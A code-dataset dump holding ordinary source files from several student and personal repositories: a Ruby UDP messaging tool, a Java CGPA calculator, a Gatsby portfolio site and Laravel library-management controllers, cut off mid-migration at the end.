branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep>require 'socket'
require 'timeout'
class Komunikator
def sender msg, ip, port, size
@klient = UDPSocket.new if @klient.nil?
@counter = 0
msg = msg.scan(/.{1,#{size.to_i}}/)
msg.each { |s|
@counter += 1
s = s.bytes.to_a
s = s.insert 0,@counter
@klient.send(s.pack('C*'), 0, ip.to_s, port.to_i)
}
@counter += 1
eof = ":EOF:".bytes.to_a
eof = eof.insert 0,@counter
@klient.send(eof.pack('C*'), 0, ip.to_s, port.to_i)
end
def receiver port
@server = UDPSocket.new
@server.bind('',port.to_i)
pole = []
@counter = 0
th =Thread.new{
loop do
data , _ = @server.recvfrom 65535
m = MSG.new data
@counter += 1
if m.msg == ":EOF:"
# loop do
# begin#cakam sekundu ci pride dalsi paket, ak nie ukoncim a vypisem
# status = Timeout::timeout(0.3) {
# data , _ = @server.recvfrom 65535
# m = MSG.new data
# pole << m
# @counter += 1
# }
# rescue Timeout::Error
# end
# break
# end
while pole.length != m.order.to_i - 1 #kym nedoslo vsetko
data , _ = @server.recvfrom 65535
m = MSG.new data
pole << m
@counter += 1
end
pole.sort! { |a,b| a.order.to_i <=> b.order.to_i }
pole.each do |p|
print p.msg
end
pole = []
puts "\nPocet fragmentov: " + (@counter - 1).to_s + " (+ 1 meta data)"
@counter = 0
else
pole << m
end
end
}
loop do
input = STDIN.gets.chomp
if input.to_s == "koniec"
Thread.kill(th)
@server.close
break
end
end
end
end
class MSG
attr_accessor :msg, :order
def initialize message
message = message.unpack('C*')
@order = message.shift
@msg = ""
message.each{ |char| @msg << char}
end
end
loop do
puts "\nZadajte ci chcete posielat[posielat] alebo prijimat[prijimat] spravy:\n"
input = STDIN.gets.chomp
if input.to_s != "vypni"
k = Komunikator.new
if input.to_s == 'posielat'
puts "Zadajte IP"
@ip = STDIN.gets.chomp
puts "Zadajte port"
@port = STDIN.gets.chomp
puts "Predvolena velkost datagramov je maximalne 65535\nChcete ju zmenit ? [a/n] "
@odpoved = STDIN.gets.chomp
if @odpoved.to_s == 'a'
puts "Zadajte velkost: "
@size = STDIN.gets.chomp
if(@size.to_i > 65535)
@size = 65535
puts "Zadana hranica je vacsia ako povolena maximalna. Veslkost fragmentu je nastavena na 65 535 bytes"
end
@size = @size.to_i - 1
else
@size = 65535
end
puts "Mozete posielat spravy: (koniec vstupu (CTRL + D linux),q - pre ukoncenie)"
input = STDIN.gets.chomp
while input != "koniec"
k.sender input, @ip, @port, @size
pocet_fragmentov = input.scan(/.{1,#{@size.to_i}}/)
puts "\nposlal som: #{input}"
print "pocet fragmentov: "
print pocet_fragmentov.size, " (+ 1 meta data)\n"
input = STDIN.gets.chomp
end
next
elsif input.to_s == 'prijimat'
puts "Zadajte cislo portu"
port = STDIN.gets.chomp
puts "Tu sa Vam zobrazia prijate spravy:"
k.receiver port
next
end
end
break
end
<file_sep>UDP komunikátor - FIIT, PKS zadanie
pozri dokumentacia.pdf pre viac info | cbff52ed744c1a543bdfb6e6a309c0a2e05222e9 | [
"Text",
"Ruby"
] | 2 | Ruby | msidlo/udp_komunikator | 2cc9a524096db61357790790ad6a26af4dd88688 | 4d2573d845224e770f55489b8d35e83691936a6c |
refs/heads/master | <file_sep>package Project.CGPA;
public class Course {
private String name = "";
private double credit = 0.0;
private double grade;
private String letterGrade = "";
private static double totalCreditEarned = 0;
public Course() {
}
public Course(String name, double credit, double grade) {
this.name = name;
this.credit = credit;
this.grade = grade;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public double getCredit() {
return credit;
}
public void setCredit(double credit) {
this.credit = credit;
}
public double getGrade() {
return grade;
}
public void setGrade(int grade) {
switch (grade) {
case 0 -> this.grade = 4.0;
case 1 -> this.grade = 3.7;
case 2 -> this.grade = 3.3;
case 3 -> this.grade = 3.0;
case 4 -> this.grade = 2.7;
case 5 -> this.grade = 2.3;
case 6 -> this.grade = 2.0;
case 7 -> this.grade = 1.7;
case 8 -> this.grade = 1.3;
case 9 -> this.grade = 1.0;
case 10 -> this.grade = 0;
}
}
public String getLetterGrade() {
return letterGrade;
}
public void setLetterGrade(int grade) {
switch (grade) {
case 0 -> this.letterGrade = "A";
case 1 -> this.letterGrade = "A-";
case 2 -> this.letterGrade = "B+";
case 3 -> this.letterGrade = "B";
case 4 -> this.letterGrade = "B-";
case 5 -> this.letterGrade = "C+";
case 6 -> this.letterGrade = "C";
case 7 -> this.letterGrade = "C-";
case 8 -> this.letterGrade = "D+";
case 9 -> this.letterGrade = "D";
case 10 ->this.letterGrade = "F";
}
}
public static double getTotalCreditEarned() {
return totalCreditEarned;
}
public static void setTotalCreditEarned(double totalCreditEarned) {
Course.totalCreditEarned = totalCreditEarned;
}
public String toString() {
return "\n " + name +
" " + credit +
" " + grade +
" " + letterGrade +
"\n----------------------------------------------------------------------------------------------"
;
}
}
<file_sep># CGPA_Calculator_JOptionPane
This is a CGPA calculator with java JOptionPane. This application can calculate the CGPA in two ways. One is single semester CGPA and other one is predicted CGPA with current semester's expected result.
## Screenshot :
<br/>
- ## Main Menu :

<br/>
- ## Semester CGPA Option :





<br/>
- ## Total CGPA Option :



<br/>
- ## WARNING :





| 9317d77fa7f0838d7af2cd746015f31be6021873 | [
"Markdown",
"Java"
] | 2 | Java | ashik5757/CGPA_Calculator_JOptionPane | d7b7f36c184edcecc8154a5454baab1cbff0ff0c | d593028b1e99209d99a8a86977e6e04107f8c375 |
refs/heads/master | <file_sep>import React from "react";
import styled from "styled-components";
import logo from "../images/logo.png";
const HeaderNav = styled.nav`
background-color:white;
width:100%;
position:fixed;
top:0px;
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.55);
img{
position:relative;
cursor:pointer;
width:20%;
display:block;
}
@media (max-width: 600px) {
img{
width:55%;
display:block;
margin:0 auto;
}
}
`;
const Header = () => (
<HeaderNav>
<img style={{'marginLeft':'20px', 'marginBottom':'0px'}} src={logo} />
</HeaderNav>
)
export default Header
<file_sep>import React from "react"
import styled from "styled-components";
const WrapperMain = styled.div`
margin-top:100px;
margin-left:20px;
margin-right:20px;
`;
export default WrapperMain
<file_sep>import React from 'react';
import PropTypes from 'prop-types';
import { withStyles } from '@material-ui/core/styles';
import Paper from '@material-ui/core/Paper';
import Grid from '@material-ui/core/Grid';
import Avatar from '@material-ui/core/Avatar';
import Typography from '@material-ui/core/Typography';
import Divider from '@material-ui/core/Divider';
import Chip from '@material-ui/core/Chip';
import ProfileMainStyles from "./profile-main.module.css";
import me from "../images/me3sm.jpg"
import TagSet from "./TagSet.js"
const backendTools = [
'Python',
'Django Rest Framework',
'Open Api Specification 3.0',
'Postgresql',
'RabbitMQ',
'Redis',
'Docker',
'GCP',
'AWS'
]
const frontendTools = [
'ES6',
'React.js',
'Gatsby.js',
'Webpack'
]
const styles = theme => ({
root: {
flexGrow: 1,
},
paper: {
padding: theme.spacing.unit * 2,
textAlign: 'center',
color: theme.palette.text.secondary,
},
chip: {
margin: theme.spacing.unit,
},
});
function ProfileMain(props) {
const { classes } = props;
return (
<div className={classes.root} >
<Grid container spacing={40} justify="center">
<Grid item xs={12} sm={4}>
<Paper elevation={4} style={{'padding':'10px', 'paddingBottom':'0px'}}>
<img className="logo" src={me} style={{'marginBottom':'5px'}} />
</Paper>
</Grid>
<Grid item xs={12} sm={7}>
<Grid item xs={12} sm={12}>
<Paper elevation={4} style={{'padding':'30px'}}>
<h1>Full Stack Developer</h1>
<Typography>
I have been building things on the web since 2010 and have had the advantage of working with people in a variety of industries. My core competency is in web technology, specifically in full stack django development. I am currently based out of downtown Seattle. If you have a project in mind or would just like to get to know more about me then feel free to get in touch. <a href="mailto:<EMAIL>"><EMAIL></a>
</Typography>
<h3><a href="https://storage.googleapis.com/sc-marketing-storage/spencerresume1.pdf" target="_blank">Download My Resume</a></h3>
<div className="social-icons">
<a target="_blank" href="https://github.com/spencercooley"><i className="fab fa-github"></i></a>
<a target="_blank" href="https://linkedin.com/in/spencercooley"><i className="fab fa-linkedin"></i></a>
<a target="_blank" href="https://www.youtube.com/user/spencercooley100/videos"><i className="fab fa-youtube-square"></i></a>
</div>
<Divider />
<TagSet category="Backend Tools" tags={backendTools} chipStyle={classes.chip}/>
<TagSet category="Frontend Tools" tags={frontendTools} chipStyle={classes.chip}/>
</Paper>
</Grid>
</Grid>
</Grid>
</div>
);
}
ProfileMain.propTypes = {
classes: PropTypes.object.isRequired,
};
export default withStyles(styles)(ProfileMain);
<file_sep>import React from "react";
import Link from "gatsby-link";
import ProfileMain from "../components/ProfileMain.js"
import Header from "../components/Header.js"
//styles
import WrapperMain from "../layouts/WrapperMain.js"
export default () => (
<div>
<ProfileMain />
</div>
);
<file_sep>my personal website written in react and gatsby.js
<file_sep>add og metadata
add title and site metadata
add google analytics
<file_sep>import React from 'react'
import { renderToString } from 'react-dom/server'
import { JssProvider, SheetsRegistry } from 'react-jss'
import { create } from 'jss'
import preset from 'jss-preset-default'
import { MuiThemeProvider } from 'material-ui/styles'
import createGenerateClassName from 'material-ui/styles/createGenerateClassName'
import theme from './src/themes/default.js' // eslint-disable-line
import { ServerStyleSheet, StyleSheetManager } from "styled-components"
exports.replaceRenderer = ({
bodyComponent,
replaceBodyHTMLString,
setHeadComponents,
}) => {
const scSheet = new ServerStyleSheet();
const sheets = new SheetsRegistry()
const jss = create(preset())
jss.options.createGenerateClassName = createGenerateClassName
const bodyHTML = renderToString(
<JssProvider registry={sheets} jss={jss}>
<MuiThemeProvider theme={theme} sheetsManager={new Map()}>
<StyleSheetManager sheet={scSheet.instance}>
{bodyComponent}
</StyleSheetManager>
</MuiThemeProvider>
</JssProvider>
)
replaceBodyHTMLString(bodyHTML)
setHeadComponents([
<style
type="text/css"
id="server-side-jss"
key="server-side-jss"
dangerouslySetInnerHTML={{ __html: sheets.toString() }}
/>,
scSheet.getStyleElement(),
])
}
<file_sep>import Typography from "typography";
import doelgerTheme from 'typography-theme-doelger'
doelgerTheme.headerWeight = '200'
doelgerTheme.overrideThemeStyles = ({ rhythm }, options) => ({
'a': {
color:'#27aae1',
backgroundImage:'none'
}
});
const typography = new Typography(doelgerTheme)
export default typography;
<file_sep>module.exports = {
siteMetadata: {
title: `Spencer Cooley | Full Stack Developer`,
siteUrl: `https://www.spencercooley.com`,
description: `Full stack developer specializing in django develpment.`,
},
plugins: [
`gatsby-plugin-react-helmet`,
`gatsby-plugin-styled-components`,
{
resolve: `gatsby-plugin-typography`,
options: {
pathToConfigModule: `src/utils/typography.js`,
},
},
{
resolve: 'gatsby-plugin-material-ui',
options: {
pathToTheme: 'src/themes/default',
},
},
{
resolve: `gatsby-plugin-google-analytics`,
options: {
trackingId: "UA-97451152-1",
// Puts tracking script in the head instead of the body
head: false,
// Setting this parameter is optional
anonymize: true,
// Setting this parameter is also optional
respectDNT: true,
// Avoids sending pageview hits from custom paths
exclude: ["/preview/**", "/do-not-track/me/too/"],
},
},
],
};
| 48795de7f5e9464cff2927391baf1f7e15efc666 | [
"JavaScript",
"Text",
"Markdown"
] | 9 | JavaScript | SpencerCooley/sc-marketing | 2b51df0548a2f53bbd0f209bcbf3141af18730d7 | 297db333103fa75ce2645b251801cc455fe12e41 |
refs/heads/master | <repo_name>Sujal1/SAD-Moodle-Android<file_sep>/Moodle/src/ait/cs/sad/moodle/MainActivity.java
package ait.cs.sad.moodle;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.annotation.TargetApi;
import android.app.ActionBar;
import android.app.ProgressDialog;
import android.content.Intent;
import android.content.SharedPreferences.Editor;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends BaseActivity implements OnClickListener {
EditText et_username;
EditText et_password;
EditText et_server;
private String token;
private String username;
private String password;
private String moodle_server;
// SharedPreferences sharedPref;
// public static final String MyPREFERENCES = "MyPrefs";
@TargetApi(Build.VERSION_CODES.HONEYCOMB)
@Override
protected void onCreate(Bundle savedInstanceState) {
//
// if (getIntent().getBooleanExtra("EXIT", false)) {
// Log.d("!!!!!!!!!!!!!!", "1");
// this.finish();
// }
super.onCreate(savedInstanceState);
//sharedPref = getSharedPreferences(MyPREFERENCES, Context.MODE_PRIVATE);
String saved_token = readToken();
if (!saved_token.equals("0")) {
Intent i = new Intent(MainActivity.this, Student.class);
startActivity(i);
} else {
setContentView(R.layout.activity_main);
ActionBar actionBar = getActionBar();
actionBar.hide();
et_username = (EditText) findViewById(R.id.editText_username);
et_password = (EditText) findViewById(R.id.editText_password);
et_server = (EditText) findViewById(R.id.editText_server);
et_password.setText("");
Button btn_login = (Button) findViewById(R.id.button_login);
btn_login.setOnClickListener(MainActivity.this); /* Modified the way button click is implemented to give simpler view to code */
}
}
/* Action for button login */
@Override
public void onClick(View view) {
/*Action if the login button is pressed*/
if (view.getId() == R.id.button_login) {
username = et_username.getEditableText().toString();
password = et_password.getEditableText().toString();
moodle_server = et_server.getEditableText().toString();
if (username.equals("") || password.equals("") || moodle_server.equals("")) {
/*Toast.makeText(MainActivity.this,
"Missing fields.", Toast.LENGTH_SHORT).show();*/
}
else if (checkConnection()) {
moodle_server = "172.16.58.3";
username = "parent1";
password = "<PASSWORD>";
new MyAsyncTask().execute();
}
else {
Toast.makeText(MainActivity.this,
"No connnection", Toast.LENGTH_LONG).show();
}
}
}
// protected boolean checkConnection() {
//
// ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
// NetworkInfo netInfo = cm.getActiveNetworkInfo();
// /*if (netInfo != null && netInfo.isConnectedOrConnecting()) {*/
// if (netInfo != null) {
// return true; //connected to the network
// }
// Toast.makeText(MainActivity.this, "No Network Connection", Toast.LENGTH_LONG).show();
// return false; //no network connection
// }
/* Save user token and the server in local storage */
private void saveToken() {
Editor editor = sharedPref.edit();
editor.putString("parent_token", token);
editor.putString("moodle_server", moodle_server);
editor.commit();
Toast.makeText(
MainActivity.this,
"Token " + sharedPref.getString("parent_token", "0")
+ " saved !", Toast.LENGTH_SHORT).show();
}
private String readToken() {
return sharedPref.getString("parent_token", "0");
}
public class MyAsyncTask extends AsyncTask<Void, Void, Void> {
private ProgressDialog progressDialog;
JSONArray jArray;
/*String url = "http://203.159.6.202/moodle/login/token.php?username=parent1&password=<PASSWORD>!Project&service=parent_access";*/
String url = "http://" + moodle_server + "/moodle/login/token.php?username=" + username + "&password=" + password + "&service=parent_access";
public MyAsyncTask() {
}
@Override
protected void onPreExecute() {
progressDialog = new ProgressDialog(MainActivity.this);
progressDialog.setMessage("Logging in..");
progressDialog.show();
super.onPreExecute();
}
@Override
protected Void doInBackground(Void... params) {
//ArrayList<NameValuePair> postParameters = new ArrayList<NameValuePair>();
/*
* postParameters.add(new BasicNameValuePair("username", "sujal"));
* postParameters.add(new BasicNameValuePair("password", "sad"));
*/
/*postParameters.add(new BasicNameValuePair("username", "parent1"));
postParameters.add(new BasicNameValuePair("password",
"<PASSWORD>"));
postParameters.add(new BasicNameValuePair("service",
"parent_access"));
*/
try {
jArray = JSONfunction.getJSONfromURL(url, null);
} catch (Exception e) {
}
return null;
}
@Override
protected void onPostExecute(Void result) {
progressDialog.dismiss();
super.onPostExecute(result);
if (jArray == null) {
Toast.makeText(MainActivity.this,
"Could not verify your token !", Toast.LENGTH_LONG).show();
} else {
try {
JSONObject jObject = jArray.getJSONObject(0);
token = jObject.getString("token");
} catch (JSONException e) {
e.printStackTrace();
}
saveToken();
startService(new Intent(MainActivity.this, MyService.class));
Intent intent = new Intent(MainActivity.this, Student.class);
startActivity(intent);
}
}
}
@Override
protected void onResume() {
// TODO Auto-generated method stub
super.onResume();
et_password.setText("");
}
}
<file_sep>/Moodle/src/ait/cs/sad/moodle/JSONfunction.java
package ait.cs.sad.moodle;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
public class JSONfunction {
public static JSONArray getJSONfromURL(String url,
ArrayList<NameValuePair> postParameters) {
InputStream is = null;
String result = "";
JSONArray jArray = null;
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url);
if (postParameters != null) {
httppost.setEntity(new UrlEncodedFormEntity(postParameters));
}
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
} catch (Exception e) {
}
// convert response to string
try {
BufferedReader reader = new BufferedReader(new InputStreamReader(
is, "iso-8859-1"), 8);
StringBuilder sb = new StringBuilder();
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result = sb.toString();
if (result.startsWith("{")) {
result = "[" + result+ "]";
}
} catch (Exception e) {
}
try {
jArray = new JSONArray(result);
} catch (JSONException e) {
}
return jArray;
}
}
<file_sep>/Moodle/src/ait/cs/sad/moodle/MyService.java
package ait.cs.sad.moodle;
import android.annotation.TargetApi;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.app.TaskStackBuilder;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.IBinder;
import android.support.v4.app.NotificationCompat;
import com.pubnub.api.Callback;
import com.pubnub.api.Pubnub;
import com.pubnub.api.PubnubException;
public class MyService extends Service {
/*private static final String TAG = "MyService";*/
private static int val = 1;
Pubnub pubnub;
@Override
public void onCreate() {
super.onCreate();
pubnub = new Pubnub("pub-c-b359888b-4119-4493-809c-48112f0f8236",
"sub-c-ced59c3e-d741-11e3-8c07-02ee2ddab7fe");
try {
pubnub.subscribe("channel1", new Callback() {
@TargetApi(Build.VERSION_CODES.JELLY_BEAN)
@Override
public void successCallback(String channel, Object message) {
/* Log.d("PUBNUB","SUBSCRIBE : " + channel + " : "
+ message.getClass() + " : " + message.toString());*/
NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(
MyService.this)
.setSmallIcon(R.drawable.message)
.setContentTitle("New Message")
.setAutoCancel(true)
.setContentText(message.toString());
Intent resultIntent = new Intent(MyService.this,
Notice.class);
resultIntent.putExtra("message", message.toString());
//resultIntent.putExtra("notification_id", val);
/*TaskStackBuilder stackBuilder = TaskStackBuilder
.create(MyService.this);
stackBuilder.addParentStack(Notice.class);
stackBuilder.addNextIntent(resultIntent);*/
PendingIntent intent = PendingIntent.getActivity(MyService.this, 0, resultIntent, 0);
/*PendingIntent resultPendingIntent = stackBuilder
.getPendingIntent(0,
PendingIntent.FLAG_UPDATE_CURRENT);*/
//mBuilder.setContentIntent(resultPendingIntent);
mBuilder.setContentIntent(intent);
NotificationManager mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
mNotificationManager.notify(val, mBuilder.build());
val++;
}
});
} catch (PubnubException e) {
/*Log.d("PUBNUB",e.toString());*/
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* This is where we initialize. We call this when onStart/onStartCommand is
* called by the system. We won't do anything with the intent here, and you
* probably won't, either.
*/
private void handleIntent(Intent intent) {
// new PollTask().execute();
}
/**
* This is called on 2.0+ (API level 5 or higher). Returning
* START_NOT_STICKY tells the system to not restart the service if it is
* killed because of poor resource (memory/cpu) conditions.
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
handleIntent(intent);
return START_NOT_STICKY;
}
/**
* In onDestroy() we release our wake lock. This ensures that whenever the
* Service stops (killed for resources, stopSelf() called, etc.), the wake
* lock will be released.
*/
public void onDestroy() {
super.onDestroy();
}
}
<file_sep>/Moodle/src/ait/cs/sad/moodle/Student_old.java
package ait.cs.sad.moodle;
import java.util.ArrayList;
import java.util.List;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.view.Gravity;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.ListView;
import android.widget.Toast;
public class Student_old extends Activity {
public static final String MyPREFERENCES = "MyPrefs";
SharedPreferences sharedPref;
ListView list_children;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.students);
list_children = (ListView) findViewById(R.id.listView_children);
sharedPref = getSharedPreferences(MyPREFERENCES, Context.MODE_PRIVATE);
// Toast.makeText(Student.this, sharedPref.getString("parent_token",
// "0"), 5000).show();
new MyAsyncTask().execute();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.activity_main_actions, menu);
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Take appropriate action for each action item click
switch (item.getItemId()) {
case R.id.action_logout:
Editor editor = sharedPref.edit();
editor.putString("parent_token", "0");
editor.commit();
Toast.makeText(Student_old.this, "Token deleted", 5000).show();
return true;
default:
return super.onOptionsItemSelected(item);
}
}
private boolean checkConnection() {
ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo netInfo = cm.getActiveNetworkInfo();
if (netInfo != null && netInfo.isConnectedOrConnecting()) {
//Toast.makeText(Student.this, "TRUE", 5000).show();
return true;
}
//Toast.makeText(Student.this, "FALSE", 5000).show();
return false;
}
public class MyAsyncTask extends AsyncTask<Void, Void, Void> {
private ProgressDialog progressDialog;
JSONArray jArray;
// String url = "http://192.168.127.12/get_children.php";
String url = "http://172.16.17.32/moodle/webservice/rest/server.php";
List<String> name_list = new ArrayList<String>();
List<String> level_list = new ArrayList<String>();
List<String> id_list = new ArrayList<String>();
String[] name, id;
int temp = 0;
public MyAsyncTask() {
}
@Override
protected void onPreExecute() {
progressDialog = new ProgressDialog(Student_old.this);
progressDialog.show();
super.onPreExecute();
}
@Override
protected Void doInBackground(Void... params) {
if (checkConnection()) {
/**********CONNNECTED TO THE NETWORK***********************/
try {
jArray = JSONfunction
.getJSONfromURL(
url
+ "?wstoken="
+ sharedPref.getString("parent_token",
"0")
+ "&wsfunction=local_wstemplate_get_child&moodlewsrestformat=json",
null);
// jArray = JSONfunction.getJSONfromURL(url+"?wstoken=<PASSWORD>",
// null);
} catch (Exception e) {
}
if (jArray != null) {
SQLiteDatabase db = openOrCreateDatabase("MyDatabase", MODE_PRIVATE, null);
db.execSQL("CREATE TABLE IF NOT EXISTS Student (ID VARCHAR, Name VARCHAR);");
String sql = "SELECT * FROM Student;";
Cursor c = db.rawQuery(sql, null);
if (c.getCount() == 0) {
temp = 1;
}
for (int i = 0; i < jArray.length(); i++) {
JSONObject jObject;
try {
jObject = jArray.getJSONObject(i);
String name = jObject.getString("fullname")
.toUpperCase();
name_list.add(name);
String id = jObject.getString("id");
id_list.add(id);
/*** SAVE INTO SQLITE ***/
if (temp == 1) {
String sql1="INSERT INTO Student (ID, Name)"+" VALUES('" +id+ "','" + name +"');";
db.execSQL(sql1);
} else {
String sql2 = "SELECT * FROM Student WHERE ID='"+id+"'";
Cursor c2 = db.rawQuery(sql2, null);
if (c2.getCount()==0) {
String sql3="INSERT INTO Student (ID, Name)"+" VALUES('" +id+ "','" + name +"');";
db.execSQL(sql3);
}
}
/*** SAVE FINISH **/
} catch (JSONException e) {
e.printStackTrace();
}
/*name = new String[name_list.size()];
name_list.toArray(name);
id = new String[id_list.size()];
id_list.toArray(id);*/
}
}
} else {
/**********NOT CONNNECTED TO THE NETWORK***********************/
SQLiteDatabase db = openOrCreateDatabase("MyDatabase", MODE_PRIVATE, null);
db.execSQL("CREATE TABLE IF NOT EXISTS Student (ID VARCHAR, Name VARCHAR);");
String sql = "SELECT * FROM Student;";
Cursor c = db.rawQuery(sql, null);
if (c.getCount() == 0) {
c.close();
db.close();
} else {
c.moveToFirst();
do{
name_list.add(c.getString(c.getColumnIndex("Name")));
id_list.add(c.getString(c.getColumnIndex("ID")));
}while (c.moveToNext());
}
jArray = new JSONArray();
jArray.put(1);
}
name = new String[name_list.size()];
name_list.toArray(name);
id = new String[id_list.size()];
id_list.toArray(id);
return null;
}
@Override
protected void onPostExecute(Void result) {
progressDialog.dismiss();
super.onPostExecute(result);
if (jArray == null) {
Toast.makeText(Student_old.this, "You have no children mapped !",
5000).show();
} else {
Toast.makeText(Student_old.this, jArray.toString(), 5000).show();
/*MySimpleArrayAdapter adapter = new MySimpleArrayAdapter(
Student_old.this, name, 1);
list_children.setAdapter(adapter);*/
list_children.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> arg0, View arg1,
int arg2, long arg3) {
Toast.makeText(Student_old.this, id[arg2], 5000).show();
Intent i = new Intent(Student_old.this, Course.class);
i.putExtra("student_id", id[arg2]);
startActivity(i);
}
});
}
}
}
}
| c07d7b58fa611c57466245c8a07fa3fbbd31074e | [
"Java"
] | 4 | Java | Sujal1/SAD-Moodle-Android | 3f56c1235ff9024715b923f9345302e071a3d95b | cb827f47af4602edb5b7cffd787ee6ad5f79fa97 |
refs/heads/master | <file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Yajra\DataTables\DataTables;
use App\JenisBuku;
class JenisBukuController extends Controller
{
public function index()
{
return view('Kategori.index');
}
public function create()
{
//
}
public function store(Request $request)
{
$id = $request->id;
$post = JenisBuku::updateOrCreate(['id' => $id],
['jenis_buku' => $request->jenis_buku,]);
return response()->json($post);
}
public function show($id)
{
//
}
public function edit($id)
{
$where = array('id' => $id);
$post = JenisBuku::where($where)->first();
return response()->json($post);
}
public function update(Request $request, $id)
{
//
}
public function destroy($id)
{
$post = JenisBuku::where('id',$id)->delete();
return response()->json($post);
}
public function datatable()
{
$data = JenisBuku::all();
return Datatables::of($data)
->addColumn('action', function($data) {
$button = '<a href="javascript:void(0)" data-id="'.$data->id.'" class="edit btn btn-info btn-sm btn-edit" data-toggle="tooltip"><i class="far fa-edit"></i></a>';
$button .= ' ';
$button .= '<button type="button" name="delete" id="'.$data->id.'" class="delete btn btn-danger btn-sm"><i class="far fa-trash-alt"></i></button>';
return $button;
})
->addIndexColumn()->make(true);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Yajra\DataTables\DataTables;
use Collective\Html\HtmlServiceProvider;
use App\User;
class UserController extends Controller
{
public function index()
{
return view('User.index');
}
public function create()
{
}
public function store(Request $request)
{
$id = $request->id;
if($request->password != ''){
$pass = bcrypt($request->password);
$post = User::updateOrCreate(['id' => $id],
['name' => $request->name,
'email' => $request->email,
'password' => $pass,
'role' => $request->role
]);
}
else{
$post = User::updateOrCreate(['id' => $id],
['name' => $request->name,
'email' => $request->email,
'role' => $request->role
]);
}
return response()->json($post);
}
public function ubah_profil(Request $request)
{
$id = $request->id;
if($request->password != ''){
$pass = bcrypt($request->password);
$post = User::updateOrCreate(['id' => $id],
['name' => $request->name,
'email' => $request->email,
'password' => $pass,
]);
}
else{
$post = User::updateOrCreate(['id' => $id],
['name' => $request->name,
'email' => $request->email,
]);
}
return response()->json($post);
}
public function show($id)
{
//
}
public function edit($id)
{
$where = array('id' => $id);
$post = User::where($where)->first();
return response()->json($post);
}
public function update(Request $request, $id)
{
}
public function destroy($id)
{
$post = User::where('id',$id)->delete();
return response()->json($post);
}
public function datatable()
{
$data = User::where('role', 'User')->get();
return Datatables::of($data)
->addColumn('action', function($data) {
$button = '<a href="javascript:void(0)" data-id="'.$data->id.'" class="edit btn btn-info btn-sm btn-ubah-user" data-toggle="tooltip"><i class="far fa-edit"></i></a>';
$button .= ' ';
$button .= '<button type="button" name="delete" id="'.$data->id.'" class="delete btn btn-danger btn-sm btn-hapus-user"><i class="far fa-trash-alt"></i></button>';
return $button;
})
->addIndexColumn()->make(true);
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Buku extends Model
{
protected $table = 'buku';
protected $fillable = [
'judul_buku', 'jenis_buku_id', 'pengarang_id', 'penerbit_id',
'tahun_terbit_id', 'sinopsis', 'path', 'nama'
];
//Tabel buku dimiliki atau terhubung dengan tabel jenis_buku
public function jenis_buku()
{
return $this->belongsTo('App\JenisBuku');
}
/////////////////////////////////////////////////////////////////////
//Tabel buku dimiliki atau terhubung dengan tabel pengarang
public function pengarang()
{
return $this->belongsTo('App\Pengarang');
}
/////////////////////////////////////////////////////////////////////
//Tabel buku dimiliki atau terhubung dengan tabel pengarang
public function penerbit()
{
return $this->belongsTo('App\Penerbit');
}
/////////////////////////////////////////////////////////////////////
//Tabel buku dimiliki atau terhubung dengan tabel tahun_terbit
public function tahun_terbit()
{
return $this->belongsTo('App\TahunTerbit');
}
}
<file_sep><?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateBukuTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('buku', function (Blueprint $table) {
$table->id();
$table->string('judul_buku');
